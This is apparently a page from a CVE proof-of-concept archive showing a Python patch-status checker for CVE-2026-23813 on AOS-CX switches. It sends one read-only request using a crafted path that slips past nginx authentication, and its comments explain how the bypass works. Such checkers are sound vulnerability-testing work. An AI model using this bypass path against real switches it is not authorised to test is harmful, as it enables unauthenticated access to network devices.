5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / detect.py PY
#!/usr/bin/env python3
"""CVE-2026-23813 — non-destructive patch-status check for AOS-CX.

Sends one read-only GET that requires the nginx-regex bypass to reach
the backend. A 401 response means nginx blocked the request (patched).
Any other status means nginx skipped auth and proxied to hpe-restd
(vulnerable).
"""
import sys

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# The smuggle: version segment "v1/system/users/" contains a slash, which
# only the vulnerable (|v.*/) regex accepts. The trailing "loginpoc" makes
# nginx match the login location and skip auth; the backend then routes to
# /system/users/loginpoc and returns a 404 (user not found) instead of a 401.
SMUGGLE_PATH = "/rest/v1/system/users/loginpoc"


def check(target):
    url = f"https://{target}{SMUGGLE_PATH}"
    try:
        r = requests.get(url, verify=False, timeout=10,
                         allow_redirects=False)
    except requests.exceptions.ConnectTimeout:
        return "UNKNOWN", "connect timeout (host unreachable)"
    except requests.exceptions.ConnectionError:
        return "UNKNOWN", "connection refused (port closed or host down)"
    except requests.exceptions.RequestException as e:
        return "UNKNOWN", f"{type(e).__name__}"
    if r.status_code == 401:
        return "PATCHED", "nginx blocked the smuggle (HTTP 401)"
    return "VULNERABLE", f"smuggle reached backend (HTTP {r.status_code})"


def main():
    if len(sys.argv) != 2:
        print(f"usage: {sys.argv[0]} <host[:port]>", file=sys.stderr)
        sys.exit(2)
    verdict, detail = check(sys.argv[1])
    icon = {"PATCHED": "[+]", "VULNERABLE": "[!]", "UNKNOWN": "[?]"}[verdict]
    print(f"{icon} {sys.argv[1]}: {verdict} — {detail}")
    sys.exit({"PATCHED": 0, "VULNERABLE": 1, "UNKNOWN": 2}[verdict])


if __name__ == "__main__":
    main()